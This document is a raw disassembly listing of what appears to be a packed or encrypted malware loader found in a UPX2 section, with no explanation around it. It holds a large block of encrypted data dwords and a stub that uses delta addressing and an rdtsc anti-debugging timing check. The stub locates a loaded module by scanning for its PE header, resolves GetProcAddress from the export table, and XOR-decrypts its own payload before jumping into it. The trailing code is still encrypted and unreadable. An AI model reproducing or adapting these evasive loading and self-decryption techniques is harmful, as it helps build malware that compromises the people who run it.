		dd 880EC1B5h, 40750513h, 83E1ABE5h, 0EAB29021h,	70CE5884h
		dd 0CBFF5Eh, 9065943Eh,	7AD006C9h, 47173DFh, 7EAF7437h
		dd 7EB97439h, 7E4F74CBh, 7E4F74C5h, 7EA874D7h, 7EBD74E1h
		dd 30CF74F3h, 3005EBBEh, 5B6CAAD2h, 755AC488h, 7848C09Ah
		dd 77C5BC94h, 902D8408h, 8002009Bh, 0F5B6B0A9h,	0D3A04B5h
		dd 25C6FE8Ah, 804A39AFh, 7CE8AB87h, 307175EAh, 7FCB80FDh
		dd 0E27AAA4Bh, 775FFFE6h, 909784A2h, 80FC0035h,	0E6726643h
		dd 34DA7560h, 304D6676h, 0FE710A75h, 40021042h,	68BA0369h
		dd 7FE1FFAAh, 5DB8815h,	802A3937h, 804880C1h, 6E602BAh
		dd 0B918A557h, 2B1400FBh, 0F585FC79h, 8EB000h, 2ADCFF5Ah
		dd 10178DE0h, 68B81008h, 7F39FF32h, 0B95085BAh,	80E2004Bh
		dd 83841069h, 775460C7h, 90358400h, 801A0093h, 382F74A9h
		dd 80DA8BFAh, 5B34F16h,	8042394Fh, 816000DAh, 809E84E8h
		dd 68CC00F5h, 3D03ABA9h, 8088428Dh, 7F58CCF7h, 2A5CB0D2h
		dd 207F8990h, 68D0100Bh, 7F21FEEAh, 0B9688592h,	80F90063h
		dd 9A7C0081h, 0B9928578h, 8024008Dh, 8A4601ABh,	7FBE2E51h
		dd 7ED5E838h, 69ECFF2Ah, 5E1AB49h, 8068426Dh, 48ADCF74h
		dd 0C230BD84h, 0C82B000Bh, 0E4D7B8D5h, 0B31536C8h, 77676685h
		dd 90E384D6h, 80E80361h, 76E5746Fh, 903D82F8h, 8A66808Bh
		dd 7FDDAA71h, 7E75E858h, 0E784FF4Ah, 2B6C89A7h,	2B3EC0E2h
		dd 0B9E28528h, 807700FDh, 0DAF600FBh, 0B91285FFh, 0F51E0007h
		dd 7D2DE82Fh, 0B252FFCCh, 6837FFBFh, 7F29FD4Dh,	940C20EDh
		dd 630DFF90h, 7FB86640h, 11A56692h, 4898B3Eh, 772A109Ah
		dd 83FAF763h, 0F54600BFh, 7C88E8D9h, 9FD2FF24h,	7F8AEE01h
		dd 7FC66608h, 11276610h, 0B558BB8h, 90EAA4A4h, 97E2B2Fh
		dd 533FC75h, 80C239CFh,	80E0005Ah, 5193813h, 80EC39F1h
		dd 860A0083h, 5EF2CE5h,	8036391Bh, 813400ADh, 42AA0ACEh
		dd 68AFFF34h, 7FA1FD9Ch, 0B9E88512h, 807A00E3h,	8AFC0401h
		dd 7F6BACE7h, 7DC5E8E2h
		dd 545FFD4h, 80D039BDh,	80CE0043h, 16341721h, 3815FF9Eh
		dd 4806C058h, 400EB8D4h, 38BF04F9h, 0E7C9F8EEh,	7D4FE802h
		dd 5C9FF48h, 805C3941h,	805A00DBh, 3DE87294h, 8066396Dh
		dd 68ED74FDh, 7F6DFD6Eh, 0A9B829A1h, 0FE0B0AEEh, 40BC100Ch
		dd 25C003A7h, 80C8392Fh, 7DADE8F4h, 3144FF92h, 2878AD1h
		dd 2A1010B0h, 7FE33C7Fh, 59A0F5Ah, 802A39CDh, 8488044Ch
		dd 88B6C18Fh, 2B028D6Dh, 0D7D8015Bh, 7F7D2011h,	0A4B229F8h
		dd 7B7EB873h, 42FF77Ah,	90B81008h, 0F4C6003Fh, 2A9DB04Ah
		dd 7A97B83Dh, 2B96E16Bh, 7F02FC9Fh, 2AE4B07Ah, 9B1C0A0h
		dd 906A881Ch, 4B3F7AFh,	0A0441084h, 0F55200CBh,	5E8857CEh
		dd 0DA91FF1Bh, 0D8CCCF7Eh, 580CA28h, 8088396Dh,	2A5A4A96h
		dd 7F48C8C5h, 17A66C4h,	455F789h, 0C0DE106Eh, 0F4EC0065h
		dd 0A83E8070h, 0B974A58Bh, 2B70009Fh, 0C2A8BD14h, 779900BBh
		dd 9079843Ch, 804E00C7h, 30557595h, 0FCEF02B3h,	2A7810C8h
		dd 0B9028508h, 8014001Dh, 8BD7001Bh, 5BAB899h, 80AE394Ah
		dd 0E6F1EBEFh, 77C231EBh, 90D184E4h, 80F7006Fh,	3006747Dh
		dd 0FDB70AA2h, 402010A0h, 25240343h, 802C39C8h,	382CABA5h
		dd 5AFF050h, 8076395Bh,	807402EDh, 4836028Eh, 0B9EDA503h
		dd 2BF80007h, 0C204BDACh, 10020023h, 2BC80068h,	0B95285B8h
		dd 80EC004Dh, 0F186006Bh, 7FFC2091h, 48BF778h, 801C10ACh
		dd 0F52A00A7h, 8A80B0BAh, 907F7E3Ah, 0CDBFAACDh, 0B9E6852Ch
		dd 887000F9h, 910B00F7h, 600FB863h, 0B9E4A519h,	2BCE0031h
		dd 6B1CC01Ch, 0A97C6628h, 0FE770A53h, 40E01060h, 25E40383h
		dd 80EC390Bh, 5FDABE5h,	80083915h, 8026109Fh, 40B5B8CBh
		dd 44C203CFh, 0FEF50AC1h, 0E65E10EEh, 5DA0F4Eh,	806A3971h
		dd 7B27E8AAh, 561FFF0h,	80B43999h, 0C0B2002Bh, 0D0700E4Dh
		dd 0B9B28545h, 68760045h, 7F15FBF6h, 9064FFCh, 904490F2h
		dd 491F78Dh, 802210A2h,	0F4B000A9h, 2AD6B0BBh, 34F1896Eh
		dd 6B5A1091h, 7B89E8E4h, 0EA9EFF10h, 777BFF06h,	90AB848Eh
		dd 81A00019h, 30A57527h, 0FC390A75h, 2ACA107Ah,	38BE0FBAh
		dd 25ECC0DCh, 80E43911h, 81B2AB1Dh, 495F723h, 801E10AEh
		dd 0F52C02A5h, 4BFF79Ch, 804810F8h, 0F55604CFh,	8AA4B0C7h
		dd 904B7E6Eh, 3258AF9h,	418E103Eh, 38FA10F5h, 30018145h
		dd 30B0EB31h, 0FE430A7Fh, 2AD41074h, 0B96685ACh, 80F00079h
		dd 908B007Fh, 688FB8E3h, 0B967A599h, 2B4E00B1h,	88DD011Fh
		dd 54E480Dh, 804239B6h,	7ABFE873h, 599FF18h, 806C3971h
		dd 809A0003h, 0A5ED75A0h, 7825B879h, 0B9C9A527h, 2BA4002Bh
		dd 0A97AC07Ah, 909C90EAh, 469F765h, 80FA104Ah, 0F5082081h
		dd 6B61B190h, 899C6686h, 0FD970AB3h, 40401080h,	25440323h
		dd 804C39A8h, 3D43AB85h, 80684261h, 250CC175h, 8084429Dh
		dd 0D812AB7Dh, 0B9CC852Bh, 68140027h, 7F33FA3Ch, 0B95E85A4h
		dd 80EB0071h, 0AC82016Fh, 0B980858Ah, 8012009Bh, 0A0550499h
		dd 0B9AA8550h, 803C00A5h, 8A3F03C3h, 7FA1DE39h,	7A2DE820h
		dd 809CFF12h, 687DFF01h, 7F6FFA48h, 0B91A85E0h,	80AC0035h
		dd 88CE0833h, 6862C9F1h, 7F29FA62h, 0B96085AAh,	80F2007Bh
		dd 0AA741079h, 5240737h, 800C39E9h, 8D30E062h, 801C0838h
		dd 0B93AA5BDh, 649400DDh, 84A680D8h, 798FE842h,	0E1CEFF08h
		dd 797BE8AFh, 38FCFFECh, 25A2E0DEh, 80A63953h, 662CAB5Bh
		dd 772DFFB2h, 90D984DCh, 80EE2067h, 0BB87475h, 8878B44h
		dd 0AB1810D3h, 7C67895Eh, 53E581Dh, 805239C7h, 79EFE863h
		dd 5A9FF28h, 807C3961h,	803A00F3h, 38EE0C75h, 59CC35Fh
		dd 80B43961h, 38D40AC0h, 25CAE0C6h, 80DE393Bh, 1634AB33h
		dd 7715FF9Ah, 90C184F4h, 8006037Fh, 0B4B748Ch, 20A78B54h
		dd 0AB3010EBh, 7C76897Fh, 5BBC9F6h, 804A3957h, 80E800E1h
		dd 5FB0E9Ah, 80943981h,	0D20881h, 78D303E0h, 0C46304AAh
		dd 41BC1011h, 0B7A08A3h, 0E6DEE3FAh, 0E62631E7h, 0F4C66C6h
		dd 80BA68FBh, 61120089h, 2B46ABF1h, 8659C920h, 400BB8D5h
		dd 43F8ABA7h, 797DE865h, 593FF22h, 8062396Fh, 8000F9h
		dd 4F051A73h, 0C228859Eh, 48810033h, 684448B8h,	7F39F940h
		dd 687EC3FDh, 7F1DF95Eh, 0B96085E4h, 5090067h, 801C3901h
		dd 0A01A0093h, 0AB7F06D4h, 99DD5857h, 0AB6C5336h, 0B822B33h
		dd 9022A854h, 8FB01E7h,	817C10B7h, 0A4CE8B3Ah, 0E8258915h
		dd 0BA6100Fh, 90F68C90h, 8472B3Bh, 77D0100Bh, 90E784D2h
		dd 80EC4065h, 77F87473h, 84CAAB59h, 341568Fh, 9066C420h
		dd 43D00ABh, 80400160h,	804E0D2Fh, 0D2194BD5h, 0B32645ADh
		dd 0CC3C2EC3h, 157900B3h, 80843E7Fh, 0C27A8592h, 0BE30039h
		dd 58BD3C6Fh, 0BE473BAh, 99323410h, 0B17FF94h, 90B4B8FAh
		dd 0C2075B7Dh, 5C978987h, 832010DBh, 5A708E5h, 802C4255h
		dd 7F627348h, 80588062h, 7494E8DFh, 3DFFFF12h, 80924243h
		dd 7476E85Fh, 1515FFE8h, 80BC429Dh, 83B24AB8h, 4EE30C0Bh
		dd 8FD3E9CCh, 80E560D5h, 0DA760F6Bh, 83000078h,	904CBC32h
		dd 0F8A90395h, 2C2A10E1h, 537E88Dh, 8046001Dh, 0AB504640h
		dd 9020785Eh, 0D07603E9h, 7F8AA31Fh, 383183FAh,	809A1051h
		dd 0C7930B54h, 9B350F23h, 6BC4003Ch, 38473947h,	8FE0101Bh
		dd 80EF0DE2h, 0F8790375h, 0E60A10C1h, 0A5E73810h, 80DA8590h
		dd 0C0BF00ADh, 0B4012BB9h, 7436E899h, 3D67FF28h, 807C425Dh
		dd 809E85FCh, 58B0001h,	808642B3h, 0C2DC851Eh, 8039003Bh
		dd 8FCC4712h, 80CECDC5h, 889B3B55h, 802E836Ch, 407B0071h
		dd 9441037Dh, 0C26C858Eh, 0D070008Bh, 0C2E8B556h, 15C100A7h
		dd 805C3EF7h, 8F9A8589h, 8068B764h, 80EAE9EFh, 7FB800FDh
		dd 80068504h, 0BE200019h, 0B2B0F32h, 0BBC0035h,	0C3E10105h
		dd 75305065h, 0B919FFACh, 90B6B8D0h, 8375757Bh,	9052BC0Ch
		dd 0F89B0397h, 92C10E7h, 9078E436h, 0BB488BC1h,	9014DC4Ah
		dd 0BB6C72DDh, 9030E06Eh, 0BDE972F9h, 0F08E0007h, 9F743767h
		dd 0DAA0023h, 4133FC7Fh, 0C2C50214h, 64513B5Dh,	0F5E21019h
		dd 90348365h, 0C4713188h, 6B6D1CA1h, 595C388h, 80384239h
		dd 0F8838BCFh, 684410FFh, 7FADF458h, 8060A9B8h,	8E1B80E7h
		dd 0F27047DEh, 88CD3B0Ah, 7FA4821Eh, 8FEFFFE0h,	7F4AB2A8h
		dd 0A4FE8BC4h, 0A954A7C8h, 7F210057h, 0C207EF9Ah, 0E0DE4AF2h
		dd 0CEE80081h, 8C9DC0BCh, 44A187B9h, 93210E9h, 9002C03Ch
		dd 8F78DC7h, 835C00FCh,	90287866h, 25DD66F1h, 83402BB1h
		dd 0C2BF144Fh, 7BE4C617h, 0D331C7C1h, 85BE0037h, 9CC0045h
		dd 0DE85FC15h, 151757A2h, 80E63E11h, 8F1BE8BCh,	80131A0Eh
		dd 0EA745099h, 7FD16A8Fh, 9002DE20h, 0DF8A85C3h, 815D88DEh
		dd 0C8E00DFh, 688BFF09h, 808200EAh, 0C6E4655Ah,	0D3FB6C7Eh
		dd 0F2D96340h, 0C1C3745Ah, 0CC7DFF41h, 7FD6100Dh, 90DA32C8h
		dd 0D477896Bh, 6800103Bh, 800E009Eh, 0E14865C6h, 0F76565C8h
		dd 0F34A65DFh, 0D03669D7h, 0E92269BFh, 0E50565B7h, 0DD9857E9h
		dd 6881FF1Fh, 808C0016h, 0E5C86540h, 0F2C77452h, 0E9C4504Ah
		dd 0E5A8694Bh, 0D7D2652Ch, 7F083FB1h, 80FCE898h, 0E5AF0075h
		dd 0EB6961C1h, 0F24870E4h, 0EC4F76F6h, 805167C8h, 6860E8ECh
		dd 98B8FF36h, 0D35E00D7h, 0E1044380h, 0CE1F679Dh, 0E6E1746Eh
		dd 0E9E45076h, 0E5C8696Bh
		dd 0D7B2654Ch, 7F27FFD1h, 0D9A50B8h, 90E190D0h,	0D08E6A63h
		dd 7FAF011Bh, 9038EAEAh, 0A428898Dh, 0BE049564h, 401A00B9h
		dd 0C176BD3Ah, 0D01C00D5h, 10EFFF83h, 0E86810DCh, 807200EEh
		dd 0D7856AA9h, 0C2C695F4h, 0EAF40009h, 15515723h, 80AC4261h
		dd 7FDEC4C0h, 909A4CE4h, 0E273FF5Fh, 0DFF41053h, 0C8B78DB8h
		dd 0D61010C8h, 0BE789568h, 78AF00B5h, 3BBE0F4Ch, 94800C1h
		dd 9014584Ah, 0D6646ADDh, 0BED09514h, 400500E9h, 802A8408h
		dd 40B70015h, 83C05073h, 0E8B96A61h, 40C6003Fh,	0C241FF1Bh
		dd 3E21065h, 4FFFF91h, 80FE0670h, 0C250850Ch, 0D970083h
		dd 803842C1h, 0C25E9522h, 0D21500ADh, 7F0200A1h, 905E6E4Ch
		dd 7F9683E7h, 85A984FAh, 80E00003h, 0C2C4B5EEh,	1559000Fh
		dd 80A43E47h, 8F3DF8B8h, 80D5BECDh, 0F05B8957h,	0B3EC1027h
		dd 0D13903BAh, 846251D1h, 0DCA3FFDEh, 7F2410DFh, 900C463Eh
		dd 8F8085B9h, 804B9A43h, 99533D5h, 90287466h, 0D12951F1h
		dd 8F861F97h, 156B500Dh, 80B23E95h, 4BFC0ACh, 80BE0564h
		dd 0C2B485CCh, 38190043h, 80E8728Ah, 77CE4BE4h,	903D84F8h
		dd 8012008Bh, 832675B9h, 903E6822h, 83EE33B5h, 77BBF702h
		dd 4DD8930h, 3866109Dh,	80742962h, 83BE4B70h, 9080688Ch
		dd 834C3317h, 775DF7E4h, 0FC3F89D2h, 43C81003h,	869DB740h
		dd 0DD1E3A4h, 37FD1838h, 5003143Ah, 0A8CF6BCEh,	0BA9DD096h
		dd 0EE4377FCh, 3257448h, 0F2470CC5h, 0BC1F8B2Dh, 83764250h
		dd 0C4FD10ABh, 5989FFBFh, 5B7C126h, 808A4263h, 0A4FC8BE2h
		dd 0F76333Fh, 80C4B8BFh, 4F59C34Bh, 3D6D0BB2h, 80FE412Fh
		dd 0B3238B89h, 0E136AC4Ah, 0FA2406E3h, 0A00A02E8h, 0F4683C07h
		dd 0F46C3C57h, 0F5503C14h, 0B97E33Fh, 0D8293DE4h, 8B0E00B6h
		dd 0D2CB533Ch, 0B3130F0Fh, 0B5BFFE2h, 0C9E53D28h, 4CF4377h
		dd 7F31FF61h, 0D59F5768h, 9B6E0F2Dh, 0BD07FF8Eh, 0B2354328h
		dd 7F048482h, 0D01FFF64h, 8F7F54FAh, 7FC10533h,	6897333Ah
		dd 7FA5FEFEh, 7A801094h, 6889FF13h, 7F7BFEDCh, 7E7E8404h
		dd 5293FFE6h, 80AE16CFh, 7FDFE835h, 8022FFBCh, 0DDD80051h
		dd 0B4F5EDDEh, 7A1D007Dh, 0E4020078h, 359B3276h, 800E42EFh
		dd 0E60E89C1h, 0DA773E32h, 83AB85CEh, 0DEDD00CFh, 0E6BA03E1h
		dd 0C5223B6Ah, 835385F6h, 0C3790007h, 80BC0003h, 462F0F23h
		dd 76B80032h, 8FC45C7Ch, 80D7BCC9h, 88A18B5Bh, 2050A054h
		dd 2E7A0FD7h, 0BD0C0086h, 0A03A20B3h, 838B84AEh, 0BBD00AFh
		dd 80440075h, 68031628h, 7F9FEF51h, 0C2D28DE4h,	4E7F00E5h
		dd 80CA6180h, 80DC6192h, 7F589BF7h, 0FA360FD2h,	3C20038h
		dd 9092C0ECh, 0C2550057h, 90A68B6Dh, 8489C158h,	85E3C0B2h
		dd 0CA9FC88Ch, 0A1898Dh, 833210E9h, 80F80CF3h, 0D14E01C7h
		dd 7FBABE3Dh, 2FF301Ch,	317810C8h, 33330DFh, 0EA941034h
		dd 0D86BFE3Bh, 24581451h, 541FFD1h, 42580F97h, 15EBE280h
		dd 80F839E5h, 501E584h,	801439F9h, 8112008Bh, 5D722EDh
		dd 803E3923h, 803C00B6h, 25CB0CB6h, 80483955h, 7B99FF20h
		dd 0DF50A06h, 8092397Fh, 88900009h, 809E067Fh, 86C45925h
		dd 0D8BA0033h, 7F2E56A9h, 0FC538AB0h, 6E41064h,	0B98E2AEFh
		dd 5880069h, 801E39FBh,	5EBE077h, 803A3927h, 803800B9h
		dd 3DC609CAh, 804439B3h, 77A774DAh, 9049846Ch, 807E00F7h
		dd 97740Dh, 90A37CAEh, 30DC0521h, 0B9CBBDAFh, 0F4C1002Dh
		dd 0FE6F80ECh, 85E01060h, 5199E13h, 80EC39F1h, 900A0083h
		dd 3D9809E5h, 803639E3h, 3BD77AFh, 9000C41Eh, 26B800C9h
		dd 68A1FF25h, 7F93FDA6h, 8078711Bh, 0FC158B01h,	8396104Dh
		dd 90E68080h, 7CE9E82Bh, 4CFFFC6h, 80CE0216h, 0C2A4B5DEh
		dd 0DE610073h, 6826034Dh, 7FF9FD23h, 822F8282h,	0CAA3009Bh
		dd 8030608Dh, 0D2C08B57h, 94360393h, 774A7AD0h,	90518464h
		dd 807600EFh, 99075DDh,	90D0C8B6h, 10158D19h, 0BAE101Eh
		dd 90AC68B8h, 0D76EF343h, 80D264E8h, 80538D5Fh,	73F4107Dh
		dd 6302B1DEh, 77B4F38Bh, 90278412h, 802C00A5h, 2EBE0F93h
		dd 7F4800C1h, 51BE28BCh, 0B9BFF30h, 9030B87Eh, 8F5285F9h
		dd 808E9883h, 0F8298B15h, 0BAA1061h, 0CA39107Bh, 80C6601Bh
		dd 889E2BADh, 49D10228h, 0BBE4726Ah, 90EE68FAh,	0E8818B85h
		dd 0F21A1083h, 0A4148BF7h, 905EA52Ch, 34400ADh,	8052686Ch
		dd 0FAEB00D9h, 882401EFh, 77FBF7F6h, 0C2068588h, 56F0001h
		dd 80B6399Bh, 80B4006Dh, 9835024Fh, 0A9DC724Ah,	446B8967h
		dd 0BEC1027h, 0B0FB2800h, 0B98C8576h, 8056009Fh, 8250009Dh
		dd 6863185Ch, 7FBFFC92h, 8342EB9Eh, 0F27728A6h,	733C51EFh
		dd 0D215F55h, 90BF904Ah, 4829890Dh, 73A21059h, 8FEE5F8Dh
		dd 7339206h, 80CC017Ah,	0B9589569h, 869D0071h, 0D68ED206h
		dd 9621249h, 0A7FAE9DBh, 0DADFFF43h, 83224A2Ch,	5CB10FFh
		dd 805A3947h, 0A05800D1h, 0F5634152h, 44F989FEh, 838210B9h
		dd 9080688Ch, 0E8398317h, 80AC0025h, 9924318h, 80C853C6h
		dd 0C053F74Fh, 81E41062h, 0F4F2006Bh, 8843C77Eh, 20AEA027h
		dd 0B9988562h, 802A00B3h, 874C10B1h, 771DE8EDh,	0B0EFF32h
		dd 9020C456h, 975E3E9h,	8D9528BCh, 0C24C8D8Eh, 82790003h
		dd 0CB2303CAh, 433F707h, 83C41004h, 0F4D2004Bh,	48658B4Dh
		dd 83EE1025h, 90BEB0F8h, 2C8F0383h, 811810D3h, 906C8B97h
		dd 0C2488526h, 0CA7B00ABh, 95373C1h, 0C25F089Dh, 0D80F83F5h
		dd 4FF8BF3h, 0E8881043h, 8096299Fh, 0D9AC421Ch,	0AE2432Ah
		dd 90F982ACh, 44BF747h,	80DC106Ch, 0F4CA0063h, 0E8750377h
		dd 3606106Fh, 491F78Dh,	802210A2h, 0F53002A9h, 77F8FEA3h
		dd 90758440h, 845A00D3h, 0A6E75E1h, 904F835Ah, 401F7FDh
		dd 80921032h, 0F5A00059h, 82A98A2Ch, 56BEAAF7h,	8921F7A1h
		dd 42EA07DBh, 623002F5h, 0E426339Ah, 0F6622F0h,	3D93588Bh
		dd 800E42CBh, 3FA80FA5h, 7FC5FF49h, 900A7874h, 32C3FFCFh
		dd 7F6410E3h, 9030745Eh, 0A615FFF9h, 0D8E1039h,	90DE6098h
		dd 0E83F8D23h, 0D1B81073h, 7FC66A6Dh, 90965CF8h, 2677FF5Bh
		dd 7FF01057h, 90BC5CC2h, 0A699FF85h, 0D1A10ADh,	90694814h
		dd 0D883FFAFh, 0D64410FFh, 0BEF09534h, 25E300C9h, 807E42BBh
		dd 8094C3F5h, 0DD8A0003h, 6D19017Bh, 80B63890h,	41BBF075h
		dd 90D780BEh, 43108549h, 7021C8D4h, 69C16Ah, 43FA1066h
		dd 0AA0810BCh, 0E60A758Fh, 8C007C1Ch, 934771C7h, 7F84E8D9h
		dd 853BFF38h, 7FA6B53Dh, 7FB8E81Ch, 0AE19FF0Eh,	0D6FE2D00h
		dd 0A52C1239h, 0E0A2001Bh, 7F4FA5C1h, 0B8775C8h, 0DFC2401h
		dd 909B48E6h, 88B88B61h, 86CC8109h, 0D621737Fh,	7F1200E3h
		dd 0EAE48B99h, 7F7E52A7h, 9002F220h, 888E83C3h,	0BF043E50h
		dd 83135CE0h, 6870C66Eh, 7F7DFA99h, 7F6F7FE1h, 385D61E8h
		dd 80AC0051h, 0AF02B1D8h, 68C80041h, 80D60052h,	38E4209Fh
		dd 80F2005Bh, 80001091h, 802AC287h, 801D852Dh, 8029E8A3h
		dd 0ACFA00B1h, 0A4128DBFh, 37ACDC1h, 991E0023h,	8070E889h
		dd 0D4F500F7h, 0BD13021h, 0E6778109h, 68A81018h, 7F49E0C8h
		dd 80C0C25Ch, 83D0074Eh, 0AF020658h, 0A62DD4D3h, 0AA0015FFh
		dd 0FF8B0041h, 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh
		dd 4EBB8h, 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h
		dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h
		dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh
		dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h,	64C02BC3h
		dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h
		dd 1E00h, 78h, 22Ch dup(0)
		dd 7C816FD7h, 134Ch dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_3143204C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_31432041
		mov	ebx, [eax+2985h]
		jmp	short loc_3143204A
; ---------------------------------------------------------------------------


loc_31432041:				; CODE XREF: UPX2:31432037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_3143204A:				; CODE XREF: UPX2:3143203Fj
		mov	ebx, [ebx]


loc_3143204C:				; CODE XREF: UPX2:3143201Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 9E05h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 0EDh
		rep movsb
		call	sub_31432125
		mov	ecx, eax
		call	sub_31432125
		sub	eax, ecx
		jz	short loc_314320F7
		cmp	eax, 100h
		ja	short loc_314320F7
		and	ebx, 0FFFFF000h


loc_3143208B:				; CODE XREF: UPX2:3143209Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_3143209C


loc_31432094:				; CODE XREF: UPX2:314320A9j
		sub	ebx, 100h
		jnz	short loc_3143208B


loc_3143209C:				; CODE XREF: UPX2:31432092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_31432094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_314320B6:				; CODE XREF: UPX2:loc_314320CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_314320CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_314320CF


loc_314320CA:				; CODE XREF: UPX2:314320BFj
		loop	loc_314320B6
		pop	ecx
		jmp	short loc_314320F7
; ---------------------------------------------------------------------------


loc_314320CF:				; CODE XREF: UPX2:314320C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_3143212A
		jmp	short loc_3143213F
; ---------------------------------------------------------------------------


loc_314320F7:				; CODE XREF: UPX2:3143207Cj
					; UPX2:31432083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_31432123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_31432123:				; CODE XREF: UPX2:31432102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_31432125	proc near		; CODE XREF: UPX2:3143206Ep
					; UPX2:31432075p
		rdtsc
		retn
sub_31432125	endp

; ---------------------------------------------------------------------------
		db 0E0h, 31h

; =============== S U B	R O U T	I N E =======================================



sub_3143212A	proc near		; CODE XREF: UPX2:314320F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_31432132:				; CODE XREF: sub_3143212A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_31432132
		pop	ebx
		retn
sub_3143212A	endp

; ---------------------------------------------------------------------------


loc_3143213F:				; CODE XREF: UPX2:314320F5j
		or	ds:8C200000h, bh
		sub	al, 0F1h
		adc	ecx, [eax]
		enter	0FFFFCE5Dh, 6Fh
		lodsb
		mov	edi, 0AEFFFAE0h
		test	eax, 702866C2h
		in	eax, 68h
		mov	ecx, 11C083A0h
		xchg	eax, edx
		inc	esp
		popa
		test	[ebp-6], al
		db	36h
		jmp	short loc_31432176
; ---------------------------------------------------------------------------
		dd 0F32CC129h, 65431604h, 20783EB3h
		db 0DFh, 4Dh
; ---------------------------------------------------------------------------


loc_31432176:				; CODE XREF: UPX2:31432165j
		push	es
		pusha
		aad	0C7h
		rcl	esp, 3Fh
		mov	eax, ds:72549431h
		xchg	eax, edx
		dec	edi
		fld	qword ptr [eax+2Dh]
		lahf
		wait


loc_31432189:				; CODE XREF: UPX2:314321A6j
		or	[ecx-452F2A72h], ebx
		or	[edx+3], cl
		pop	eax
		and	[edx-611B0680h], ah
		jg	short loc_31432206
		pop	edi
		xor	edi, [edi]
		cmpsd
		into
		aas
		adc	al, dl
		movsd
		pop	edi
		dec	edi
		jmp	short loc_31432189
; ---------------------------------------------------------------------------
		dd 200C803Eh, 0F0BFF766h, 343D0179h, 222AF5E8h,	2D7A80A5h
		dd 0E032D564h, 3550857Eh, 67B5409Fh, 0B56C25AEh, 639AC0DBh
		dd 302D80CCh, 0C5554007h, 0A0649521h, 68B74343h, 20B010F4h
		dd 0BCCB8628h, 0A1EC900Fh, 0DEB87532h, 95A50049h, 60D6550Bh
		dd 1DE949A6h, 0E012FE0Dh, 0AD482060h
		db 6Ch,	40h
; ---------------------------------------------------------------------------


loc_31432206:				; CODE XREF: UPX2:31432199j
		db	3Eh
		aas
		repne adc eax, 0C0BB9EA2h
		mov	ebx, 9C0F5608h
		hlt
; ---------------------------------------------------------------------------
		dd 0EBB640E7h, 0E03E94C2h, 0E09A0320h, 0A99800D1h, 701076DAh
		dd 0D220E8FDh, 0E000C09Bh, 1EBE95C6h, 0A02340C7h, 0A2AA047Ah
		dd 6D75C013h, 30900004h, 0D9F1CB4Fh, 0A0BC8C56h, 0F05A2D0Ah
		dd 0B5750039h, 6086529Bh, 42CB2596h, 6BF22C80h,	13786A5Dh
		dd 0F58319FFh, 0A0BC9B98h, 1CC16B88h, 0DEF85790h, 8D15CF0h
		dd 0A0258056h, 0DEF4550Ch, 0E4E30081h, 6F3EC50Fh, 0A09E1F49h
		dd 0E050576Bh, 20B00163h, 8F640A3h, 0A0158045h,	0DE84551Ch
		dd 0E0D50091h, 626CC410h, 0A0E680BDh, 0E02AA80Bh, 20A200FDh
		dd 376AA856h, 0C854815Fh, 0E0A3C0D2h, 1E76958Eh, 6AB6401Fh
		dd 5F7C81ADh, 0F024F6DEh, 20BDE8E9h, 31BF4087h,	0CAF48027h
		dd 0EA7199C3h, 0B5CF0A0Bh, 60DE7E55h, 23AF7176h, 0F0349686h
		dd 0A4A700D9h, 60464243h, 0A0E486FDh, 0A4D68EB3h, 0DF204C1Dh
		dd 7080327Ah, 76E90D8Dh, 0D3FAD03Ch, 9E258D00h,	0D1365059h
		dd 0D53C130Bh, 6372C0A1h, 302EF2FCh, 0E4A140DFh, 0A04C827Dh
		dd 0DE284590h, 507700A9h, 0BBA3CF56h, 2BC490CDh, 0F05C1A16h
		dd 2170FF31h, 59B6C540h, 25B7807Dh, 0E0CAFECDh,	0AF797056h
		dd 702F6FC2h, 6A390BE5h, 352D0BDh, 2181FF3Bh, 59B2C530h
		dd 2DA7804Dh, 0E0DAFE29h, 5197097Ah, 2983CF36h,	48A490ECh
		dd 0E042C1CBh, 1FA8BD9Ch, 0AFF540BFh, 79EA8027h, 63BEB014h
		dd 60320368h, 0AA1B924h, 2D8CEAC5h, 0F02723D6h,	20C9B901h
		dd 64E3409Fh, 5FF37E70h, 6D01A624h, 20484D7Dh, 0CB804017h
		dd 0B80C738h, 75AF2461h, 20D03D05h, 62D72623h, 627F2B4Bh
